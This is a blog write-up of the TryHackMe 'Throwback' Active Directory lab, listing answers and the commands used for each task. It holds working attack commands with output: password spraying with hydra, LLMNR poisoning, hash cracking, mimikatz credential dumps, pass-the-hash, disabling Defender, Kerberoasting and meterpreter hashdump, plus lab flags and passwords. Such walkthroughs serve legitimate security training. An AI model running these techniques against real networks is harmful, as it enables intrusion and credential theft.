Throwback - [THM] | Marmeus's Website

Introduction

In this post I show the commands, links or files you need to use in order to gather the information required to answer all the questions in the Throwback lab.

Note: The flags change dynamically so do not bother copying and pasting my flags.

Task 7 - Entering the Breach

kali@kali:~/Documents/THM/Throwback$ nmap -sV -sC -p- -v --min-rate 1000 -oN NetworkScan.txt 10.200.179.0/24  
Nmap scan report for 10.200.179.138
Host is up (0.046s latency).
Not shown: 65531 filtered ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
|_  4096 38:04:a0:a1:d0:e6:ab:d9:7d:c0:da:f3:66:bf:77:15 (RSA)
53/tcp  open  domain   (generic dns response: REFUSED)
80/tcp  open  http     nginx
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://10.200.179.138/
443/tcp open  ssl/http nginx
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-title: pfSense - Login
| ssl-cert: Subject: commonName=pfSense-5f099cf870c18/organizationName=pfSense webConfigurator Self-Signed Certificate
| Subject Alternative Name: DNS:pfSense-5f099cf870c18
| Issuer: commonName=pfSense-5f099cf870c18/organizationName=pfSense webConfigurator Self-Signed Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-11T11:05:28
| Not valid after:  2021-08-13T11:05:28
| MD5:   fe06 fa47 4d83 8454 e67a 1840 7ea8 d101
|_SHA-1: 672e 5f8f 9b28 7cad 5789 c5be cb1c f3f2 6c63 dfb2
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.91%I=7%D=12/29%Time=61CC761E%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,E,"\0\x0c\0\x06\x81\x05\0\0\0\0\0\0\0\0");

Nmap scan report for 10.200.179.219
Host is up (0.046s latency).
Not shown: 65524 filtered ports
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 85:b8:1f:80:46:3d:91:0f:8c:f2:f2:3f:5c:87:67:72 (RSA)
|   256 5c:0d:46:e9:42:d4:4d:a0:36:d6:19:e5:f3:ce:49:06 (ECDSA)
|_  256 e2:2a:cb:39:85:0f:73:06:a9:23:9d:bf:be:f7:50:0c (ED25519)
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Throwback Hacks
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: THROWBACK
|   NetBIOS_Domain_Name: THROWBACK
|   NetBIOS_Computer_Name: THROWBACK-PROD
|   DNS_Domain_Name: THROWBACK.local
|   DNS_Computer_Name: THROWBACK-PROD.THROWBACK.local
|   DNS_Tree_Name: THROWBACK.local
|   Product_Version: 10.0.17763
|_  System_Time: 2021-12-29T14:53:02+00:00
| ssl-cert: Subject: commonName=THROWBACK-PROD.THROWBACK.local
| Issuer: commonName=THROWBACK-PROD.THROWBACK.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-12-27T01:03:16
| Not valid after:  2022-06-28T01:03:16
| MD5:   f469 5c2b e0d2 e866 9f43 e7f1 f342 453e
|_SHA-1: 6924 2ba7 f824 740f 9998 023d 91c4 563e 4e72 5622
|_ssl-date: 2021-12-29T14:54:30+00:00; 0s from scanner time.
5357/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-12-29T14:53:01
|_  start_date: N/A

Nmap scan report for 10.200.179.232
Host is up (0.048s latency).
Not shown: 65531 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4e:ef:ef:e7:60:94:87:99:d7:e1:ac:31:a1:04:04:36 (RSA)
|   256 ac:cc:f1:cd:d4:03:cb:63:2c:56:80:30:66:26:ad:77 (ECDSA)
|_  256 f4:dc:9d:b9:54:4a:e5:72:b9:40:19:f1:c5:75:ac:9b (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 2D267521ED544C817FADA219E66C0CCC
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Throwback Hacks - Login
|_Requested resource was src/login.php
143/tcp open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: OK have IDLE post-login LOGIN-REFERRALS LOGINDISABLEDA0001 more capabilities ENABLE IMAP4rev1 listed ID SASL-IR LITERAL+ Pre-login STARTTLS
| ssl-cert: Subject: commonName=ip-10-40-119-232.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-40-119-232.eu-west-1.compute.internal
| Issuer: commonName=ip-10-40-119-232.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-25T15:51:57
| Not valid after:  2030-07-23T15:51:57
| MD5:   adc4 c6e2 d74f d9eb ccde 96aa 5780 bb69
|_SHA-1: 93aa 5da0 3829 8ca3 aa6b f148 4f92 1ed0 c568 a942
|_ssl-date: TLS randomness does not represent time
993/tcp open  ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: listed IDLE have LOGIN-REFERRALS post-login more capabilities ENABLE SASL-IR AUTH=PLAINA0001 ID OK IMAP4rev1 Pre-login LITERAL+
| ssl-cert: Subject: commonName=ip-10-40-119-232.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-40-119-232.eu-west-1.compute.internal
| Issuer: commonName=ip-10-40-119-232.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-25T15:51:57
| Not valid after:  2030-07-23T15:51:57
| MD5:   adc4 c6e2 d74f d9eb ccde 96aa 5780 bb69
|_SHA-1: 93aa 5da0 3829 8ca3 aa6b f148 4f92 1ed0 c568 a942
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 10.200.179.250
Host is up (0.046s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 bb:e5:c5:44:5c:ca:12:47:80:fc:35:6a:a8:30:12:e4 (RSA)
|   256 b5:cc:d4:cd:0e:57:56:49:95:e5:fc:fc:17:74:0c:68 (ECDSA)
|_  256 17:c6:0a:3d:e3:98:21:63:bf:2c:a4:f5:db:c1:00:53 (ED25519)
1337/tcp open  http    Node.js Express framework
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

10.200.XXX.138 -> Firewall (PFsense)
10.200.XXX.219 -> Windows IIS
10.200.XXX.232 -> Linux MAIL

What is the domain name?

THROWBACK.local

What is the HTTP title of the web server running on THROWBACK-PROD?

Throwback Hacks

How many ports are open on THROWBACK-MAIL?

What service is running on THROWBACK-FW01?

pfSense

What version of Apache is running on THROWBACK-MAIL?

Apache/2.4.29

Task 8 - Exploring the Caverns

Who is the CEO of Throwback Hacks?

http://10.200.XXX.219/#team -> Summers Winters

Where is the company located?

http://10.200.XXX.219/#contact -> Great Britain

What is the guest username on the mail server?

http://10.200.XXX.232/src/login.php -> tbhguest

What is the guest password on the mail server?

http://10.200.XXX.232/src/login.php -> WelcomeTBH1!

What flag is found within the guest inbox?

TBH{ede543c628d365ab772078b0f6880677}

What flag is found in the guest contacts page?

TBH{4060a70860f0a1648e5a991de1739888}

Task 9 - Web Shells and You!

Source: Link

What username was used to access the configuration portal?

admin

What password was used to access the configuration portal?

pfsense

What menu tab contains a command prompt tab in the PFSense Configuration panel?

Diagnostics/Command Promtp

Task - 10 First Contact

What log file was found that is not a default log?

cat /var/log/login.log 
Last Login 8/9/2020 15:51 -- HumphreyW:1c13639dba96c7b53d26f7d00956a364

What user was found within the log?

HumphreyW

What is the hash of the user?

1c13639dba96c7b53d26f7d00956a364 -> securitycenter

What is the root flag on THROWBACK-FW01?

TBH{4060a70860f0a1648e5a991de1739888}

cat /root/root.txt
TBH{b6f17a9c06e75ea4a09b79e8d89f9749}

What is the log flag on THROWBACK-FW01?

/var/log/flag.txt
TBH{c9cf8b688a9b8677a4546781527e4484}

Task 11 - Wait, just you mean just one this time?

POST /src/redirect.php HTTP/1.1
Host: 10.200.179.232
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Origin: http://10.200.179.232
Connection: close
Referer: http://10.200.179.232/src/login.php
Cookie: SQMSESSID=on1cj6suhl1ebvv8ha7pq0mm41
Upgrade-Insecure-Requests: 1


login_username=tbhguest&secretkey=WelcomeTBH1%21&js_autodetect_results=1&just_logged_in=1

Command:

kali@kali:~/Documents/THM/Throwback$ cat users.txt 
tbhguest
HumphreyW
SummersW
FoxxR
noreply
DaibaN
PeanutbutterM
PetersJ
DaviesJ
BlaireJ
GongoH
MurphyF
JeffersD
HorsemanB

kali@kali:~/Documents/THM/Throwback$ cat weakPasswords.txt 
WelcomeTBH1!
securitycenter
Summer2020
Fall2020
Winter2020
Autumn2020
Summer2019
Fall2019
Winter2019
Autumn2019
Summer2018
Fall2018
Winter2018
Autumn2018
Management2020
Management2019
Management2018
Password2020
Password2019
Password2018
TBHSecurity2020
TBHSecurity2018
TBHSecurity2019
Throwback2020
Throwback2019
Throwback2018
Password123

kali@kali:~/Documents/THM/Throwback$ hydra -L users.txt -P weakPasswords.txt 10.200.179.232 http-post-form '/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=incorrect' 
[80][http-post-form] host: 10.200.179.232   login: tbhguest   password: WelcomeTBH1!
[80][http-post-form] host: 10.200.179.232   login: HumphreyW   password: securitycenter
[STATUS] 89.00 tries/min, 89 tries in 00:01h, 191 to do in 00:03h, 16 active
[80][http-post-form] host: 10.200.179.232   login: PeanutbutterM   password: Summer2020
[80][http-post-form] host: 10.200.179.232   login: DaviesJ   password: Management2018
[STATUS] 64.67 tries/min, 194 tries in 00:03h, 86 to do in 00:02h, 16 active
[80][http-post-form] host: 10.200.179.232   login: GongoH   password: Summer2020
[80][http-post-form] host: 10.200.179.232   login: MurphyF   password: Summer2020
[80][http-post-form] host: 10.200.179.232   login: JeffersD   password: Summer2020

What is the username parameter in the POST request?

login_username

What is the password parameter in the POST request?

secretkey

What username found with hydra starts with an M?

MurphyF

What is the password found with hydra?

Summer2020

Task 12 - Gone Phishing

msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: THROWBACK-WS01\BlaireJ

meterpreter > sysinfo
Computer        : THROWBACK-WS01
OS              : Windows 10 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : THROWBACK
Logged On Users : 10
Meterpreter     : x86/windows

What User was compromised via Phishing?

BlaireJ

What Machine was compromised during Phishing?

THROWBACK-WS01

What is the root flag on THROWBACK-WS01?

meterpreter > cat C:\\Users\\BlaireJ\\Desktop\\root.txt
TBH{9c5e361a2368723e042924180be7c958}

What is the user flag on THROWBACK-WS01?

meterpreter > cat C:\\Users\\humphreyw\\Desktop\\user.txt
TBH{813e2c2709ceb02041891acaec55121d}

Task 13 - Just a Drop Will Do

kali@kali:~/Documents/THM/Throwback$ sudo responder -I tun0 -rdw -v  

[SMB] NTLMv2-SSP Client   : 10.200.179.219
[SMB] NTLMv2-SSP Username : THROWBACK\PetersJ
[SMB] NTLMv2-SSP Hash     : PetersJ::THROWBACK:2f71c71c129872db:C2C361B7F2729FF632B3E0174EAA9CA8:010100000000000000647150A9FCD70162AD743085ED01C400000000020008004B004A004200340001001E00570049004E002D005800460046004300390045004500490059005700430004003400570049004E002D00580046004600430039004500450049005900570043002E004B004A00420034002E004C004F00430041004C00030014004B004A00420034002E004C004F00430041004C00050014004B004A00420034002E004C004F00430041004C000700080000647150A9FCD70106000400020000000800300030000000000000000000000000200000D52796F7101C20005C176D4C56B192B5A86AB2ACD74DABA441F4CF6F2F556D7A0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00350030002E003100370036002E00340035000000000000000000
[SMB] NTLMv2-SSP Client   : 10.200.179.219
[SMB] NTLMv2-SSP Username : THROWBACK\PetersJ
[SMB] NTLMv2-SSP Hash     : PetersJ::THROWBACK:d18b1b179c6b5da6:8E585648F1086DB4DD79D6B4CA92388A:010100000000000000647150A9FCD701B4D13C91B3AFE5B500000000020008004B004A004200340001001E00570049004E002D005800460046004300390045004500490059005700430004003400570049004E002D00580046004600430039004500450049005900570043002E004B004A00420034002E004C004F00430041004C00030014004B004A00420034002E004C004F00430041004C00050014004B004A00420034002E004C004F00430041004C000700080000647150A9FCD70106000400020000000800300030000000000000000000000000200000D52796F7101C20005C176D4C56B192B5A86AB2ACD74DABA441F4CF6F2F556D7A0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00350030002E003100370036002E00340035000000000000000000

What User fell victim to LLMNR Poisoning?

PetersJ

What is the 4th octet of the IP Address the LLMNR request came from?

219

What is the hostname of the device?

THROWBACK-PROD

Task 14 - We Will, We Will, Rockyou

What is the cracked password from the pfSense hash?

kali@kali:~/Documents/THM/Throwback$ john -w=/usr/share/wordlists/rockyou.txt --format=NT pfsense_hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
securitycenter   (?)
1g 0:00:00:00 DONE (2021-12-29 11:57) 1.351g/s 1078Kp/s 1078Kc/s 1078KC/s seesaw22..sebial
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed

What is the cracked password from LLMNR poisoning?

kali@kali:~/Documents/THM/Throwback$ hashcat -m 5600 -r /opt/OneRuleToRuleThemAll.rule  responder_hashes.txt /usr/share/wordlists/rockyou.txt 
PETERSJ::THROWBACK:d18b1b179c6b5da6:8e585648f1086db4dd79d6b4ca92388a:010100000000000000647150a9fcd701b4d13c91b3afe5b500000000020008004b004a004200340001001e00570049004e002d005800460046004300390045004500490059005700430004003400570049004e002d00580046004600430039004500450049005900570043002e004b004a00420034002e004c004f00430041004c00030014004b004a00420034002e004c004f00430041004c00050014004b004a00420034002e004c004f00430041004c000700080000647150a9fcd70106000400020000000800300030000000000000000000000000200000d52796f7101c20005c176d4c56b192b5a86ab2acd74daba441f4cf6f2f556d7a0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00350030002e003100370036002e00340035000000000000000000:Throwback317

Task 18 - SEATBELT CHECK!

====== CredEnum ======
  Target              : localadmin.pass
  UserName            : admin-petersj
  Password            : 
  CredentialType      : DomainPassword
  PersistenceType     : Enterprise
  LastWriteTime       : 8/25/2020 2:52:57 AM

What user was found from seatbelt?

admin-petersj

Submit flag for THROWBACK-PROD in Task 4

Executing the following command through an RDP session we can obtain all the flags in the machine.

C:\Users\petersj\Documents>runas /savecred /user:admin-petersj /profile "cmd.exe"

What is the flag from the poisoned user on THROWBACK-PROD?

C:\User>type C:\\Users\\petersj\\Desktop\\user.txt
TBH{277c5929d176569338ce0cff02f328c0}

What is the second user flag on THROWBACK-PROD?

C:\User>type C:\\Users\\blaitej.THROWBACK\\Desktop\\user.txt
TBH{9b56df4dc5cbda864a246ebfe4964d6c}

What is the root flag on THROWBACK-PROD?

PS C:\Users> type C:\Users\Administrator\Desktop\root.txt
TBH{4d6945c0b80283b875fc7c3a5a057da6}

Task 20 - Not the soft and fluffy kind

runas /savecred /user:admin-petersj /profile "C:\\Users\\petersj\\Documents\\launcher.bat"

powershell/credentials/mimikatz/command
privilege::debug sekurlsa::logonpasswords
Authentication Id : 0 ; 182634 (00000000:0002c96a)
Session           : Batch from 0
User Name         : BlaireJ
Domain            : THROWBACK
Logon Server      : THROWBACK-DC01
Logon Time        : 12/29/2021 8:50:13 PM
SID               : S-1-5-21-3906589501-690843102-3982269896-1116
	msv :	
	 [00000003] Primary
	 * Username : BlaireJ
	 * Domain   : THROWBACK
	 * NTLM     : c374ecb7c2ccac1df3a82bce4f80bb5b
	 * SHA1     : 6522277853426f24275c4c0b0381458ef452e640
	 * DPAPI    : db241bce607cacb4b04d032e25071f0f
	tspkg :	
	wdigest :	
	 * Username : BlaireJ
	 * Domain   : THROWBACK
	 * Password : (null)
	kerberos :	
	 * Username : BlaireJ
	 * Domain   : THROWBACK.LOCAL
	 * Password : 7eQgx6YzxgG3vC45t5k9
	ssp :	
	credman :	
	
Authentication Id : 0 ; 77225 (00000000:00012da9)
Session           : Batch from 0
User Name         : Administrator
Domain            : THROWBACK-PROD
Logon Server      : THROWBACK-PROD
Logon Time        : 12/29/2021 8:50:00 PM
SID               : S-1-5-21-1142397155-17714838-1651365392-500
	msv :	
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : THROWBACK-PROD
	 * NTLM     : a06e58d15a2585235d18598788b8147a
	 * SHA1     : 4e40938facb10fb6aa244240301b791a0454f328
	tspkg :	
	wdigest :	
	 * Username : Administrator
	 * Domain   : THROWBACK-PROD
	 * Password : (null)
	kerberos :	
	 * Username : Administrator
	 * Domain   : THROWBACK-PROD
	 * Password : (null)

What domain user was logged in?

BlaireJ

What is the user's hash?

c374ecb7c2ccac1df3a82bce4f80bb5b

What is the administrator's NTLM hash?

a06e58d15a2585235d18598788b8147a

Task 22 - Good Intentions, Courtesy of Microsoft

┌──(root@kali)-[/media/sf_2_MisPostsBlog/THM/Throwback]
└─# proxychains crackmapexec smb 10.200.179.0/24 -u BlaireJ -d THROWBACK -H c374ecb7c2ccac1df3a82bce4f80bb5b 2>1 | grep \+
SMB         10.200.179.219  445    THROWBACK-PROD   [+] THROWBACK\BlaireJ c374ecb7c2ccac1df3a82bce4f80bb5b (Pwn3d!)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.222:445 <--socket error or timeout!
 ...  OK                                                                                                                                                      
SMB         10.200.179.222  445    THROWBACK-WS01   [+] THROWBACK\BlaireJ c374ecb7c2ccac1df3a82bce4f80bb5b 
SMB         10.200.179.117  445    THROWBACK-DC01   [+] THROWBACK\BlaireJ c374ecb7c2ccac1df3a82bce4f80bb5b 
SMB         10.200.179.219  445    THROWBACK-PROD   [+] THROWBACK\BlaireJ c374ecb7c2ccac1df3a82bce4f80bb5b (Pwn3d!)
SMB         10.200.179.222  445    THROWBACK-WS01   [+] THROWBACK\BlaireJ c374ecb7c2ccac1df3a82bce4f80bb5b   

kali@kali:/media/sf_2_MisPostsBlog/THM/Throwback$ proxychains crackmapexec smb 10.200.179.0/24 -u HumphreyW -d THROWBACK -H 1c13639dba96c7b53d26f7d00956a364  2>1 | grep \+
SMB         10.200.179.117  445    THROWBACK-DC01   [+] THROWBACK\HumphreyW 1c13639dba96c7b53d26f7d00956a364 
SMB         10.200.179.176  445    THROWBACK-TIME   [+] THROWBACK\HumphreyW 1c13639dba96c7b53d26f7d00956a364 
SMB         10.200.179.222  445    THROWBACK-WS01   [+] THROWBACK\HumphreyW 1c13639dba96c7b53d26f7d00956a364 
SMB         10.200.179.219  445    THROWBACK-PROD   [+] THROWBACK\HumphreyW 1c13639dba96c7b53d26f7d00956a364

Task 23 - Wallace and Gromit

We need to disable the windows firewall in order to upload SharpHound.ps1 and we can do it because we are member of the Administrators group.

kali@kali:/media/sf_2_MisPostsBlog/THM/Throwback$ sudo proxychains ssh "blairej"@10.200.179.222
throwback/blairej@10.200.179.222's password: 7eQgx6YzxgG3vC45t5k9

blairej@THROWBACK-WS01 C:\Users\BlaireJ> net user BlaireJ  
[...]                  
Local Group Memberships      *Administrators         
Global Group memberships     *None 
blairej@THROWBACK-WS01 C:\Users\BlaireJ>powershell -c "Set-MpPreference -DisableRealTimeMonitoring $true"

blairej@THROWBACK-WS01 C:\Users\BlaireJ>
PS C:\Users\BlaireJ> Invoke-Bloodhound -CollectionMethod All -Domain Throwback -ZipFileName loot.zip                 
------------------------------------------------
Initializing SharpHound at 3:26 PM on 12/29/2021
------------------------------------------------

Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container

[+] Cache File not Found: 0 Objects in cache

[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 84 MB RAM
Status: 151 objects finished (+151 15.1)/s -- Using 97 MB RAM
Enumeration finished in 00:00:10.5925838
Compressing data to C:\Users\BlaireJ\20211229152617_loot.zip
You can upload this file directly to the UI

SharpHound Enumeration Completed at 3:28 PM on 12/29/2021! Happy Graphing!

PS C:\Users\BlaireJ> dir


    Directory: C:\Users\BlaireJ


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-r---         6/28/2020   3:31 PM                3D Objects
d-r---         6/28/2020   3:31 PM                Contacts
d-r---         8/25/2020   3:43 PM                Desktop
d-r---         6/28/2020   3:31 PM                Documents
d-r---         7/27/2020   8:39 AM                Downloads
d-r---         6/28/2020   3:31 PM                Favorites
d-r---         6/28/2020   3:31 PM                Links
d-r---         6/28/2020   3:31 PM                Music
d-r---          8/9/2020  10:25 AM                OneDrive
d-r---         6/28/2020   3:33 PM                Pictures
d-r---         6/28/2020   3:31 PM                Saved Games
d-r---         6/28/2020   3:33 PM                Searches
d-r---         7/14/2020  11:47 AM                Videos
-a----        12/29/2021   3:28 PM          15330 20211229152617_loot.zip

kali@kali:/media/sf_2_MisPostsBlog/THM/Throwback$ sudo proxychains scp "blairej"@10.200.179.222:20211229152617_loot.zip .
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.222:22  ...  OK
blairej@10.200.179.222's password: 
20211229152617_loot.zip

What service account is kerberoastable?

On bloodhound use "List all Kerberoastable Accounts".

SQLSERVICE

What domain does the trust connect to?

On bloodhound use "Map Domain Trusts".

corporate.local

What normal user account is a domain admin?

On bloodhound use "Find all Domain Admins".

Mercerh

Task 24 - With three heads you'd think they'd at least agree once

┌──(root@kali)-[/media/sf_2_MisPostsBlog/THM/Throwback]
└─# proxychains GetUserSPNs.py -dc-ip 10.200.179.117 "THROWBACK.local/blairej:7eQgx6YzxgG3vC45t5k9" -request
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.117:389  ...  OK
ServicePrincipalName                         Name        MemberOf  PasswordLastSet             LastLogon                   Delegation 
-------------------------------------------  ----------  --------  --------------------------  --------------------------  ----------
TB-ADMIN-DC/SQLService.THROWBACK.local:6792  SQLService            2020-07-27 11:20:08.552650  2020-07-27 11:26:43.628665             



[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.117:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.117:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.117:88  ...  OK
$krb5tgs$23$*SQLService$THROWBACK.LOCAL$THROWBACK.local/SQLService*$ebd1055f628adf4dda15bbc00ae27ea7$9be036853c410815f6847010c2532647b54ccf068a373126d000ace628541636d5a43b68bf01330ec62c347e4388479f48f3fcbf1de179c919b5ebbac164a73c2fecb65ae1b3c66cd26326c2ccb18732523818303a0b43f6cd5c8fe8ea28c4db189839c53ac14c3165d7eaecff7f02944f7d8989b148ad8b0934347ca0bbd41235c37af189f8c4502743da94afce6f33f02c5720208e76fd0222102bb8f65aef404612a820f8ffbe8fe47467402d0b6094a1e9c1f445ff98f5a78d23f875cc387cbce7ea8a35faf41dcb53e5621d87d383e414a5b2b47174513ebed714a4d8471f4b9fc178b3e01eadef97458b41f027535f781b255fb4bab8e620678c7b77f4d9161419291d1d5134be3a5ef770cf127abf1b8bed616befe780db125f87bec6f939ab6b1c4e9a7eb993411298963931a8d07367470636210789c03380d6468db8192851e93467180a000546008a718451cc62054fd063433984ffb69d09c29ec98e39de51fd726cb95f7bf180d8d0e75b4d0e65870e77ad4786f036a15f244f8905aff18d49f55985801433b901360485d56f2d5f2acc4376f83ae7baf7f64386bd065cd4636206749e031fd77a15915bf81840e98953be1ebb414372d8c4d11458d517800aba73df7cd022de595cf64c5f70b5726666ad40eb33e18918dd9f81ad95ac42dd1d45be8fe266a70474d102acf58c612b0e10843bd29a6bea67e0d6efb18334213fa99f46420f0fcd928d94698656a856c533ee6a9e1cd5cf04acab381e75f91697d0c5239400054de59beda2aaf34fee5b286b037acf5a21bc824a66ee99015bfb4509308f6c2f4d517858eb29061828ddcaaa1221c6f533f65a28e19ad2c101812b0c9a2e4b36ea2646eb181ba623f2246ec5d567f6f7f91819976926817590e250d6b8c18af594d5037c348be7328e0f6dc6c36e68eb7f0251ef54d2205eb2132ab492478e73fa23a3cae958bbed76df88aa4fa108a8293d1037b68946d7d8a8df995c06a469496d00285d13239eed17692bef3d327a314ae4e766fe159576bbb6cbdf60ea7936d138d6b0bcce23755aa12b2f447bf32ee5397619a89e259d3e303045567c223f6657f9ddc6362b562dad8f0e671d24e24b1bd172cc3d6fc0fcad622f43835ecb9a3a315a65361a32addeaef5984c864b3280fc2687255c787b96d8cea66b844fb9240d04bdb5e0724d8c88e0e690f1fc3f6e69c3cd44d28f96e45da2d750da80e1e90779f8bdcc47a6d27b8df0fa20c1c7227fc1f5afc988ace86d537d1940162743b7367a3eb273be1ab148123090fe2fc475a6234487cedd9dbdafe9cbdf4894c1c5aae24449e42d8c6cb860fe686fedd34087fa3d9b4ab5075e3ab2c74211ab

Cracking the hash.

kali@kali:~/Documents/THM/Throwback$ hashcat -m 13100 -a 0 sqlservice_ticket.txt /usr/share/wordlists/rockyou.txt 
[...]:mysql337570

What account was compromised by kerberoasting?

SQLService

What password was cracked from the retrieved ticket?

mysql337570

Task 25 - You're Five Minutes Late...

echo "10.200.179.176 timekeep.throwback.local" | sudo tee -a /etc/hosts

What is the hostname of the device?

THROWBACK-TIME

What is the title of the web page?

Throwback Hacks Timekeep

What user was the password reset for?

murphyf

What is the password reset flag on THROWBACK-TIME?

kali@kali:~/Documents/THM/Throwback$ sudo proxychains curl "http://timekeep.throwback.local/dev/passwordreset.php?user=murphyf&password=PASSWORD"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.176:80  ...  OK
Password successfully updated TBH{326e71e82d2cfc439ee513340b8d9222}

Task 26 - Word to your Mother

What web server accepts XLSMs as a file upload?

THROWBACK-TIME

what page is the file upload in?

timesheet.php

What is the name of the XLSMs that you can upload?

Timesheet.xlsm

Task 27 - Meterpreter session 1 closed. Reason: World-Domination

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43d73c6a52e8626eabc5eb77148dca0b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd:1008:aad3b435b51404eeaad3b435b51404ee:6eea75cd2cc4ddf2967d5ee05792f9fb:::
Timekeeper:1009:aad3b435b51404eeaad3b435b51404ee:901682b1433fdf0b04ef42b13e343486:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::

kali@kali:~/Documents/THM/Throwback$ cat timekeeper_hash.txt 
901682b1433fdf0b04ef42b13e343486
kali@kali:~/Documents/THM/Throwback$ hashcat -m 1000 -a 0 timekeeper_hash.txt  /usr/share/wordlists/rockyou.txt 
901682b1433fdf0b04ef42b13e343486:keeperoftime

Which user's hashes were we able to dump?

Timekeeper

What is the user's hash starting from the third colon?

901682b1433fdf0b04ef42b13e343486

What is the administrator's hash starting from the third colon?

43d73c6a52e8626eabc5eb77148dca0b

What is the user's cracked password?

keeperoftime

Task 28 - We gotta drop the load!

